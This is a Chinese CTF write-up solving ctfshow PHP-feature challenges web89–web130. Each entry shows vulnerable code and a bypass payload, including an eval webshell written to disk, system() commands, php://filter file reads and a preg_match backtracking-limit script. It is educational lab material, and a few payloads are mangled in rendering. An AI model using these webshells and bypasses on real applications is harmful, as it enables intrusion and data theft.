精华内容
下载资源
问答
  • ctfshow-php特性
    千次阅读
    2022-01-26 17:28:26

    Web专项练习—ctfshow-php特性

    php绕过方法总结

    1. 小数绕过
    2. 进制绕过
    3. ==、 = ==绕过
    4. %20空格绕过
    5. %0a换行绕过
    6. 回车\空格+八进制绕过
    7. 相对路径绕过
    8. php伪协议读取文件
    9. 数组md5值为0
    10. 弱类型匹配
    11. 函数写🐎
    12. 运算优先级漏洞
    13. 反射类绕过
    14. call_user_func()绕过
    15. sha1()函数绕过
    16. 变量覆盖
    17. sha1弱比较
    18. md5弱比较
    19. ereg()截断漏洞
    20. php内置类 FilesystemIterator
    21. 压缩过滤器绕过
    22. 空格代替url ‘_’ 绕过
    23. gettext扩展绕过
    24. 数组strpos()值为null
    25. && || 的优先级绕过
    26. 反弹shell、curl
    27. Linux中的cp命令
    28. Linux中的tee命令
    29. 调用类中函数
    30. 弱比较
    31. 取反绕过
    32. 异或,同0异1
    33. 三目运算符构造payload
    34. 等号和位运算符
    35. create_function()函数
    36. 尝试非预期解
    37. 魔术方法

    web89

    intaval()

    include("flag.php");
    highlight_file(__FILE__);
    
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if(preg_match("/[0-9]/", $num)){
            die("no no no!");
        }
        if(intval($num)){
            echo $flag;
        }
    }
    

    intval()–非空的数组会返回1,可以采用数组绕过intval()函数

    intval()函数只匹配整数部分

    preg_match()

    返回的匹配次数,不匹配为0,匹配成功1次即为1,然后停止搜索,该函数只会匹配一行,可以%0a换行绕过

    preg_match_all()不同于此,它会一直搜索 直到到达结尾。 如果发生错误preg_match()返回 FALSE。

    web90

    全等于与等于

    === -----> 全等于 == ------> 等于,一个精确度很高,一个是简单等于

    1、如果类型不同,就不相等

    2、如果两个都是数值,并且是同一个值,那么相等;如果其中至少一个是NaN,那么[不相等]。(判断一个值是否是NaN,只能用isNaN()来判断)

    【总结】a===b,是先判断a和b的类型是否相同,如果不用则False;如果相同,再判断值是否相同。所以:’2’===2->False
    a==b,是判断a(支持自动类型转换)的值和b的值是否相同->所以’2’和2,在值上是一样的。所以:’2’==2->True
    
    include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==="4476"){
            die("no no no!");
        }
        if(intval($num,0)===4476){
            echo $flag;
        }else{
            echo intval($num,0);
        }
    } 
    

    intval($num,0):

    在这里插入图片描述

    intval支持不同进制,这里base指定是0,那么intval会根据我们输入情况使用进制,

    所以这里我就就可以用16进制或八进制表示4476

    ?num=0×117c    //十六进制
    ?num=010574    //八进制
    

    intval取的是我们所输入内容开头的整数,也就是说我们传入含有字符的字符串,例如?num=4476a,那么intval(“4476a”)也等于4476

    web91

    preg_match参数匹配\m \i

    show_source(__FILE__);
    include('flag.php');
    $a=$_GET['cmd'];
    if(preg_match('/^php$/im', $a)){
        if(preg_match('/^php$/i', $a)){
            echo 'hacker';
        }
        else{
            echo $flag;
        }
    }
    else{
        echo 'nonononono';
    } 
    

    /i 表示匹配的时候不区分大小写

    /m 表示多行匹配,匹配换行符两端的潜在匹配。影响正则中的^$符号

    多行匹配可以通过%0a(回车键)绕过

    在题中,构造payload为

    ?cmd=flag.%0Aphp
    

    第一行为多行匹配,满足第一行的条件,第二行为单行匹配,只需要保证第一行中不出现完整的php就可满足条件,get到flag

    web92

    include("flag.php"); 
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==4476){
            die("no no no!");
        }
        if(intval($num,0)==4476){
            echo $flag;
        }else{
            echo intval($num,0);
        }
    }
    

    与web90的差距,就在于此题为弱类型,即web90的?num=4476a不能满足题意

    因为==比较中,4476a=4476

    因为在本题中intval( n u m , num, num,base)第二个参数base=0,为0时,通过检测var的格式来判断使用的进制,如果字符串包括了"0x"(或"0X")的前缀,使用16进制(hex);如果字符串以"0”开始,使用8进制(octal);否则将使用10进制(decimal)。

    进制绕过

    通过十六进制或者八进制都可绕过

    ?num=0×117c    //十六进制
    ?num=010574    //八进制
    

    特殊字母e绕过

    通过?num=4476e321321321也可以拿到flag,因为e比较特殊,可以在php中不是科学计数法,构造这个payload,可以绕过第一个if条件,然后进行的第二个if比较就和web90相同了

    web93

    弱类型比较+过滤字母–八进制绕过

    include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==4476){
            die("no no no!");
        }
        if(preg_match("/[a-z]/i", $num)){
            die("no no no!");
        }
        if(intval($num,0)==4476){
            echo $flag;
        }else{
            echo intval($num,0);
        }
    } 
    

    此题条件比较苛刻,不仅弱比较了4476,而且不允许num参数中出现字母(\i参数表示忽略大小写),也就是我们可以同样 采用进制绕过,但是可以使用的进制只有八进制

    ?num=010574 //八进制

    web94

    
    include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==="4476"){
            die("no no no!");
        }
        if(preg_match("/[a-z]/i", $num)){
            die("no no no!");
        }
        if(!strpos($num, "0")){
            die("no no no!");
        }
        if(intval($num,0)===4476){
            echo $flag;
        }
    }
    

    strpos()

    strpos($num, “0”)

    strpos()函数的理解:该函数是从我们传入的参数num中,寻找并匹配数字0,第一位匹配正确返回0,第二位匹配正确返回1,以后递推,所以在题中即为只要匹配到,输出就为true,取反就为false.所以可以通过除了第一位其他位出现0的方法让if条件为假。**该函数并不是只匹配一行数据。回车后匹配仍有效。**可以通过?num=%0a4476绕过

    intval()

    intval()函数只匹配整数部分,综上可以构建小数中含有0的payload:?num=4476.011

    也可以选择八进制绕过,不过需要使num参数前加空格占位,使其满足第一位不能出现0的条件

    web95

    include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==4476){
            die("no no no!");
        }
        if(preg_match("/[a-z]|\./i", $num)){
            die("no no no!!");
        }
        if(!strpos($num, "0")){
            die("no no no!!!");
        }
        if(intval($num,0)===4476){
            echo $flag;
        }
    }
    

    $num==4476

    绕过该if条件,可以通过%0a回车换行实现。

    绕过第一个if后可以通过进制转换绕过

    因为==号只能判断数字是否相等,不能进行进制转换,故可以绕过第一个if。第二个有过滤".",故只能进行进制转换绕过,而且只能是八进制

    payload:?num=%0a010574
    payload:?num=%20010574
    payload:?num=+010574
    

    空格\回车+八进制绕过

    web96

    highlight_file(__FILE__);
    
    if(isset($_GET['u'])){
        if($_GET['u']=='flag.php'){
            die("no no no");
        }else{
            highlight_file($_GET['u']);
        }
    
    
    }
    
    

    相对路径绕过

    这道题我们需要读取flag.php文件,但是限制了参数u不能为flag.php,故可以采用相对路径来绕过。

    payload:?u=./flag.php
    

    php伪协议

    想要读取我们想要的flag.php文件,可以采用php伪协议的方法。

    fliter伪协议,传参如下:

    ?file=php://filter/convert.base64-encode/resource=flag.php
    

    对于这题应该使用

    payload:?u=php://filter/convert.base64-encode/resource=flag.php
    	    ?u=php://filter/resource=flag.php
    

    将得到的base64解密即可

    web97

    include("flag.php");
    highlight_file(__FILE__);
    if (isset($_POST['a']) and isset($_POST['b'])) {
    if ($_POST['a'] != $_POST['b'])
    if (md5($_POST['a']) === md5($_POST['b']))
    echo $flag;
    else
    print 'Wrong.';
    } 
    

    比较md5值

    在题中可以利用数组的md5值为零,来绕过

    payload:a[]=1&b[]=2
    

    web98

    include("flag.php");#本php文档包含了一个flag.php文件,是我们想要的flag
    $_GET?$_GET=&$_POST:'flag';#如果有get传参,就将get传参变为post传参。
    $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';#中间两行代码看起来貌似没用
    $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
    highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);#如果get传参了HTTP_FLAG=flag,就highlight_file($flag)
    
    

    php三元运算符

    和C语言类似

    事实上,三元运算符可以扩展使用,当设置的条件成立或不成立,执行语句都可以不止一句,试看以下格式:

    (expr1) ? (expr2).(expr3) : (expr4).(expr5);
    

    多个执行语句可以使用用字符串运算符号(“.”)连接起来,各执行语句用小角括号包围起来以表明它是一个独立而完整的执行语句。

    expr1成立就执行expr2和expr3,否则执行expr4和expr5

    本题代码分析见上代码

    payload:?1=1     post:HTTP_FLAG=flag
    

    web99

    highlight_file(__FILE__);
    $allow = array();
    for ($i=36; $i < 0x36d; $i++) { 
        array_push($allow, rand(1,$i));
    }
    if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
        file_put_contents($_GET['n'], $_POST['content']);
    }
    

    in_array()

    in_array(search,array,type)

    search—必须,规定在数组中搜索的值

    array—必需,规定搜索的数组

    type—可选,如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。

    如果设置了第三个参数,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。

    而题中没有设置,这里可以默认没有设置,即只是弱类型匹配

    弱类型匹配

    题中就是利用了in_array()的弱类型匹配

    $allow是个数组,给定一个i的取值范围,然后利用array_push函数,不断循环向数组里面添加数据。

    猜想一个随机数可以构造get传参

    ?n=123.php
    

    然后post传参content一个一句话木马,此处没有过滤,故最简单的就可,最终payload

    ?n=123.php
    content=<?php eval($_REQUEST[1]);?>
    
    打开123.php文件后
    1=system("ls");
    1=system("cat flag.36d.php");
    

    web100

    highlight_file(__FILE__);
    include("ctfshow.php");
    //flag in class ctfshow;
    $ctfshow = new ctfshow();
    $v1=$_GET['v1'];
    $v2=$_GET['v2'];
    $v3=$_GET['v3'];
    $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
    if($v0){
        if(!preg_match("/\;/", $v2)){
            if(preg_match("/\;/", $v3)){
                eval("$v2('ctfshow')$v3");
            }
        }
        
    }
    
    
    

    is_numeric()

    检测变量是否为数字,如果是,返回true,否则返回false

    or与||、and与&&

    优先级:逻辑运算符>逻辑运算(赋值)>and、or

    由题中代码可知,v0的取值只和v1有关。v1参数为数字,没有其他限制,但是v2不能有;标志,v3必须有;标志,满足条件后执行eval函数,故可以构造payload

    ?v1=12.12&v2=var_dump($ctfshow)&v3=;
    

    web101

    
    highlight_file(__FILE__);
    include("ctfshow.php");
    //flag in class ctfshow;
    $ctfshow = new ctfshow();
    $v1=$_GET['v1'];
    $v2=$_GET['v2'];
    $v3=$_GET['v3'];
    $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
    if($v0){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
            if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
                eval("$v2('ctfshow')$v3");
            }
        }
        
    } 
    

    本题与上一题的区别在于v2、v3的过滤,本题过滤较多,过滤的符号有

    \  /  |  ~  `  @  !  #  $  %  ^  *  )  -  _  +  =  {  [  "  '  ,  .  ;  ?  和数字
    

    反射类求解

    反射类可以理解为一个类的映射。其实和调用对象的方法类似只不过这里是反着来的,方法在前,对象在后

    payload:?v1=143&v2=echo new ReflectionClass&v3=;
    

    web102

    highlight_file(__FILE__);
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    $v4 = is_numeric($v2) and is_numeric($v3);
    if($v4){
        $s = substr($v2,2);
        $str = call_user_func($v1,$s);
        echo $str;
        file_put_contents($v3,$str);
    }
    else{
        die('hacker');
    } 
    

    call_user_func()

    把第一个参数作为回调参数调用

    本题中要求v2是数字,然后通过substr函数截取v2的第三位开始的数据,及以后的数据。v1、v3题中没有限制,

    is_numerc()

    该函数在php5版本下有漏洞,可以识别十六进制,所以可以将一句话木马写作十六进制的格式

    故构造v2=(<?php eval($_REQUEST[a]);?>)

    v2=3c3f706870206576616c28245f524551554553545b615d293b3f3e

    v1可以利用hex2bin()函数来进行把十六进制字符转换成ASCII字符,即我们想要的一句话木马。

    v1=hex2bin
    

    v3是file_put_content()函数的文件名,

    file_put_content()函数的str变量是回调的v1参数

    v3通过伪协议写入1.php文件中内容

    v3=php://filter/write=convert.base64-decode/resource=1.php
    
    $a='<?=`cat *`;';
    $b=base64_encode($a);  // PD89YGNhdCAqYDs=
    $c=bin2hex($b);      //这里直接用去掉=的base64
    输出   5044383959474e6864434171594473
    
    带e的话会被认为是科学计数法,可以通过is_numeric检测。
    

    payload

    get v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin
    

    web103

    解题过程payload同web102

    web104

    highlight_file(__FILE__);
    include("flag.php");
    
    if(isset($_POST['v1']) && isset($_GET['v2'])){
        $v1 = $_POST['v1'];
        $v2 = $_GET['v2'];
        if(sha1($v1)==sha1($v2)){
            echo $flag;
        }
    }
    
    

    由题可知,get传参v2,post传参v1

    sha1()

    sha1()函数在判断时无法处理数组类型,会返回false,故可以构建数组类型绕过

    题中sha1()函数弱相等,提交的两个参数只需要满足经过运算后的值相等即可

    payload:post v1=1  get  v2=1
    

    web105

    highlight_file(__FILE__);
    include('flag.php');
    error_reporting(0);
    $error='你还想要flag嘛?';
    $suces='既然你想要那给你吧!';
    foreach($_GET as $key => $value){		#get是一个预定义的数组,此处将get中的数据按照键值对取出
        if($key==='error'){				  #key是传入的参数名称 成立条件  error=random
            die("what are you doing?!");
        }
        $$key=$$value;					#此处将传入的传参名(键)和传参值(值)定义为变量,并使传参名(键)的数值等于传参值(值),通俗的说,就是咱们人工加入了一个变量,而且给予赋值
    }foreach($_POST as $key => $value){	 #post同样是一个预定义的数组,同样按照键值对取出
        if($value==='flag'){			#如果传入的值为flag,if判定成立
            die("what are you doing?!");
        }
        $$key=$$value;					#同上,人工添加变量
    }
    if(!($_POST['flag']==$flag)){
        die($error);
    }
    echo "your are good".$flag."\n";	#要输出flag需要满足$_POST['flag']==$flag,但是$flag属于未知,我们就可以进行变量覆盖
    die($suces); 
    

    foreach()

    foeach是一种特殊的循环语句,只适用于数组和对象

    payload
    get ?suces=flag
    post error=suces
    
    

    web106

    
    highlight_file(__FILE__);
    include("flag.php");
    
    if(isset($_POST['v1']) && isset($_GET['v2'])){
        $v1 = $_POST['v1'];
        $v2 = $_GET['v2'];
        if(sha1($v1)==sha1($v2) && $v1!=$v2){
            echo $flag;
        }
    } 
    

    此题类型和前面相同,构造数组,可以实现值不相同而且sha1算法结果为0

    或者进行sha1弱比较

    web107

    highlight_file(__FILE__);
    error_reporting(0);		#禁止页面报错
    include("flag.php");
    
    if(isset($_POST['v1'])){
        $v1 = $_POST['v1'];
        $v3 = $_GET['v3'];
           parse_str($v1,$v2);
           if($v2['flag']==md5($v3)){
               echo $flag;
           }
    
    }
    

    post-v1 get-v3

    parse_str()

    将字符串解析成多个变量

    $a='q=123&p=456';
    parse_str($a,$b);
    echo $b['q'];   //输出123
    echo $b['p'];   //输出456
    
    $a='q=123&p=456&r=789';
    parse_str($a,$c);
    echo $c['q'];   //输出123
    echo "<br/>";
    echo $c['p'];   //输出456
    echo "<br/>";
    echo $c['r'];   //输出789
    

    在题中只需要构造payload为

    ?v3=1
    v1=flag=c4ca4238a0b923820dcc509a6f75849b
    

    web108

    highlight_file(__FILE__);
    error_reporting(0);
    include("flag.php");
    
    if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
        die('error');
    
    }
    //只有36d的人才能看到flag
    if(intval(strrev($_GET['c']))==0x36d){
        echo $flag;
    } 
    

    ereg()

    正则匹配的一种,存在NULL截断漏洞,导致正则过滤被绕过,可以使用%00截断正则匹配

    strrev()

    字符串逆序,0x36d十进制为877,逆序即为778

    故可以构建payload

    ?C=a%00778
    

    web109

    highlight_file(__FILE__);
    error_reporting(0);
    if(isset($_GET['v1']) && isset($_GET['v2'])){
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];
    
        if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
                eval("echo new $v1($v2());");
        }
    
    } 
    

    在eval函数中,构建了一个新的类,我们可以保证在内部类不报错的情况下进行输出

    反射类绕过

    ?v1=ReflectionClass&v2=system("ls")
    ?v1=ReflectionClass&v2=system("cat fl36dg.txt")
    

    答案在源码

    web110

    highlight_file(__FILE__);
    error_reporting(0);
    if(isset($_GET['v1']) && isset($_GET['v2'])){
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];
    
        if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
                die("error v1");
        }
        if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
                die("error v2");
        }
    
        eval("echo new $v1($v2());");
    
    } 
    

    本题和上一题整体较为相似,区别在于增加了过滤,v1、v2能用的只有字母。

    FilesystemIterator

    php内置类 利用 FilesystemIterator 获取指定目录下的所有文件

    利用getcwd()函数来获取当前工作目录

    payload:?v1=FilesystemIterator&v2=getcwd
    

    得到fl36dga.txt

    因为该文件在当前目录下,所以可以直接访问,得到flag

    web111

    highlight_file(__FILE__);
    error_reporting(0);
    include("flag.php");
    
    function getFlag(&$v1,&$v2){
        eval("$$v1 = &$$v2;");
        var_dump($$v1);
    }
    
    
    if(isset($_GET['v1']) && isset($_GET['v2'])){
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];
    
        if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
                die("error v1");
        }
        if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
                die("error v2");
        }
        
        if(preg_match('/ctfshow/', $v1)){
                getFlag($v1,$v2);
        }
        
    
        
    
    
    }
    
    

    PHP超全局变量$GLOBALS

    $GLOBALS — 引用全局作用域中可用的全部变量
    一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

    本题限制v1、v2只能为字母,而且控制v1的值只能为ctfshow

    payload :?v1=ctfshow&v2=GLOBALS
    
    #分析getflag函数
    function getFlag(&$v1,&$v2){
        eval("$$v1 = &$$v2;");
        var_dump($$v1);
    }
    #在传入v1,v2的值之后,eval("$$ctfshow = &$$GLOBALS")
    

    web112

    highlight_file(__FILE__);
    error_reporting(0);
    function filter($file){
        if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
            die("hacker!");
        }else{
            return $file;
        }
    }
    $file=$_GET['file'];
    if(! is_file($file)){
        highlight_file(filter($file));
    }else{
        echo "hacker!";
    } 
    

    is_file()函数

    该函数检查指定的文件名是否为正常的文件

    出题目的为,让is_file()函数检测不出是正常的文件,但是highlight_file()可以识别为正常的文件,可以利用php伪协议

    php伪协议

    payload:
    ?file=php://filter/resource=flag.php
    ?file=php://filter/convert.base64-encode/resource=flag.php//我觉得这里base64被过滤了,应该改成别的编码方式才行,但是事实证明是可以的
    ?file=php://filter/convert.base32-encode/resource=flag.php//当然base32等其他的base系列都是可以的,或者其他的编码形式
    ?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
    ?file=compress.zlib://flag.php
    ?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
    

    web113

    highlight_file(__FILE__);
    error_reporting(0);
    function filter($file){
        if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
            die('hacker!');
        }else{
            return $file;
        }
    }
    $file=$_GET['file'];
    if(! is_file($file)){
        highlight_file(filter($file));
    }else{
        echo "hacker!";
    }
    

    此题与上一题相比,多过滤了filter,但是我们可以使用别的伪协议

    php伪协议

    压缩过滤器绕过

    payload:
    ?file=compress.zlib://flag.php
    

    多次重复绕过

    linux里/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
    多次重复后绕过is_file

    payload:
    ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
    
    

    web114

    error_reporting(0);
    highlight_file(__FILE__);
    function filter($file){
        if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
            die('hacker!');
        }else{
            return $file;
        }
    }
    $file=$_GET['file'];
    echo "师傅们居然tql都是非预期 哼!";
    if(! is_file($file)){
        highlight_file(filter($file));
    }else{
        echo "hacker!";
    } 师傅们居然tql都是非预期 哼!
    

    这道题虽然过滤掉了compress,不能用上道题的payload,但是这道题没有过滤掉filter,故我们可以使用filter系列

    payload:
    ?file=php://filter/resource=flag.php
    
    下面的都是错误的payload
    ?file=php://filter/convert.base64-encode/resource=flag.php//我觉得这里base64被过滤了,应该改成别的编码方式才行,但是事实证明是可以的
    ?file=php://filter/convert.base32-encode/resource=flag.php//当然base32等其他的base系列都是可以的,或者其他的编码形式
    ?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
    ?file=compress.zlib://flag.php
    file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
    

    web115

    include('flag.php');
    highlight_file(__FILE__);
    error_reporting(0);
    function filter($num){
        $num=str_replace("0x","1",$num);
        $num=str_replace("0","1",$num);
        $num=str_replace(".","1",$num);
        $num=str_replace("e","1",$num);
        $num=str_replace("+","1",$num);
        return $num;
    }
    $num=$_GET['num'];
    if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
        if($num=='36'){
            echo $flag;
        }else{
            echo "hacker!!";
        }
    }else{
        echo "hacker!!!";
    } hacker!!!
    

    trim()

    移除字符串两侧的字符,第一个参数写入需要操作的字符串,第二个参数写入需要移除的字符

    本地验证

    for ($i=0; $i <=128 ; $i++) { 
        $x=chr($i).'1';
       if(trim($x)!=='1' &&  is_numeric($x)){
            echo urlencode(chr($i))."\n";
       }
    }
    

    输出结果为

    %0C %2B - . 0 1 2 3 4 5 6 7 8 9 
    

    %0c是换页符,%2B是+

    所以能用的只有%0c

    ?num=%0C36
    

    web123

    error_reporting(0); 
    highlight_file(__FILE__);
    include("flag.php");
    $a=$_SERVER['argv'];
    $c=$_POST['fun'];
    if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
             eval("$c".";");  
             if($fl0g==="flag_give_me"){
                 echo $flag;
             }
        }
    } 
    

    php变量名特性绕过

    PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格+ . [转换为_

    所以我们没有办法post CTF_SHOW.COM进去

    这里就用到了php变量名特性绕过

    在变量名中出现了[的话,在get、post传参中,[就会被替换成_,然后其后的字母不会发生变化,CTF[SHOW.COM=>CTF_SHOW.COM

    $argv

    传递给脚本的参数数组,也可以在 [$_SERVER’argv’] 中获取。

    将fun的值直接赋值给$c, 然后执行eval函数

    payload
    ?fl0g=flag_give_me
    CTF_SHOW=1&CTF[show.com=1&fun=echo $flag
    

    至于 c < = 18 的 条 件 , 经 过 本 人 亲 自 验 证 , 发 现 当 c<=18的条件,经过本人亲自验证,发现当 c<=18c是字符串的时候,有$c==0;

    $flag = 123;
    $c = "echo $flag";
    //var_dump($flag);
    //echo "<br/>";
    //var_dump($c);
    //echo "<br/>";
    //echo strlen($c);
    if($c==0)
    {
    	echo  1 ."<br/>";
    	echo $flag ."<br/>";
    	eval("$c".";");
    }
    
    

    还有payload如下,目前暂不理解为什么:

    get:
    ?a=1+fl0g=flag_give_me
    post:
    CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
    
    get:
    ?$fl0g=flag_give_me;
    post:
    CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])
    

    web125

    error_reporting(0);
    highlight_file(__FILE__);
    include("flag.php");
    $a=$_SERVER['argv'];
    $c=$_POST['fun'];
    if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
             eval("$c".";");
             if($fl0g==="flag_give_me"){
                 echo $flag;
             }
        }
    } 
    

    $argv

    借助上题payload

    get:
    ?1=flag.php
    post:
    CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
    

    web126

    error_reporting(0);
    highlight_file(__FILE__);
    include("flag.php");
    $a=$_SERVER['argv'];
    $c=$_POST['fun'];
    if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
             eval("$c".";");  
             if($fl0g==="flag_give_me"){
                 echo $flag;
             }
        }
    }
    
    

    在前几题的基础上过滤了更多

    parse_str()

    get:
    ?a=1+fl0g=flag_give_me
    post:
    CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
    

    assert()函数

    get:
    ?$fl0g=flag_give_me
    post:
    CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
    //需要用burp
    

    web127

    error_reporting(0);
    include("flag.php");
    highlight_file(__FILE__);
    $ctf_show = md5($flag);
    $url = $_SERVER['QUERY_STRING'];
    
    
    //特殊字符检测
    function waf($url){
        if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
            return true;
        }else{
            return false;
        }
    }
    
    if(waf($url)){
        die("嗯哼?");
    }else{
        extract($_GET);
    }
    
    
    if($ctf_show==='ilove36d'){
        echo $flag;
    }
    

    $_SERVER[]

    $_SERVER 是 PHP 预定义变量之一,可以直接使用,它是一个包含了诸如头信息(header)、路径(path)及脚本位置(script locations)信息的数组。

    $_SERVER 数组中的元素由 Web 服务器创建,但不能保证每个服务器都提供全部元素,有的服务器可能会忽略一些,或者提供一些没有在这里列举出来的元素。

    空格代替url ‘_’ 绕过

    需要我们传参进入ctf_show,且ctf_show的值为ilove36d,构造payload

    ?ctf show=ilove36d
    

    $_SERVER[QUERY_STRING],经过验证,不能显示post传参的内容,故只能采取get传参

    web128

    error_reporting(0);
    include("flag.php");
    highlight_file(__FILE__);
    
    $f1 = $_GET['f1'];
    $f2 = $_GET['f2'];
    
    if(check($f1)){
        var_dump(call_user_func(call_user_func($f1,$f2)));
    }else{
        echo "嗯哼?";
    }
    
    
    
    function check($str){
        return !preg_match('/[0-9]|[a-z]/i', $str);
    } NULL 
    

    要满足if条件,需要 s t r 匹 配 不 到 字 母 和 数 字 , 也 即 i f 里 的 str匹配不到字母和数字,也即if里的 striff1匹配不到字母和数字

    gettext()

    当php开启了gettext扩展后,可以绕过字母

    echo gettext(phpinfo());===echo _(phpinfo());
    

    可以利用这个特点构造payload

    ?f1=_&f2=get_defined_vars
    

    get_defined_vars()

    get_defined_vars — 返回由所有已定义变量所组成的数组

    call_user_function()

    把第一个参数作为回调函数调用,其余的参数作为回调函数的参数

    var_dump(call_user_func(call_user_func($f1,$f2)));
    => var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
    => var_dump(call_user_func(get_defined_vars));
    

    web129

    error_reporting(0);
    highlight_file(__FILE__);
    if(isset($_GET['f'])){
        $f = $_GET['f'];
        if(stripos($f, 'ctfshow')>0){
            echo readfile($f);
        }
    }
    

    stripos()

    查找字符串在另一字符串中第一次出现的位置(不区分大小写),第一个位置记为0,即如果要读取文件需要兼顾不在第一个位置出现ctfshow,而且满足读取文件的条件

    ?f=/ctfshow/../var/www/flag.php
    ?f=./ctfshow/../flag.php
    ?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
    ?f=php://filter/|ctfshow/resource=flag.php
    

    web130

    error_reporting(0);
    highlight_file(__FILE__);
    include("flag.php");
    if(isset($_POST['f'])){
        $f = $_POST['f'];
    
        if(preg_match('/.+?ctfshow/is', $f)){
            die('bye!');
        }
        if(stripos($f, 'ctfshow') === FALSE){
            die('bye!!');
        }
    
        echo $flag;
    
    } 
    

    绕过第一个正则匹配,第一个正则匹配中,. 表示任意单个字符,+表示必须匹配一次或者多次,尽可能少重复,

    所以ctfshow前至少有一个字符的时候就会返回TRUE

    \i参数匹配大小写 \s参数匹配换行

    绕过第二个正则匹配,即匹配成功参数f匹配成功ctfshow

    payload:f=ctfshow
    

    preg_match回溯限制

    回溯限制为100万次,写脚本

    import requests
    url="http://df990057-ba53-43bb-ad81-b7975ae92a96.challenge.ctf.show/:8080/"
    data={
        'f':'very'*250000+'ctfshow'
    }
    r=requests.post(url,data=data)
    print(r.text)
    
    

    超出回溯次数,preg_match函数报错,同时传入ctfshow,绕过第二个

    数组绕过

    第二个正则匹配是强等于,类型必须相同

    采用数组绕过的方法,stripos函数会返回null,null!=false,所以可以绕过stripos函数

    f[]=a
    

    web131

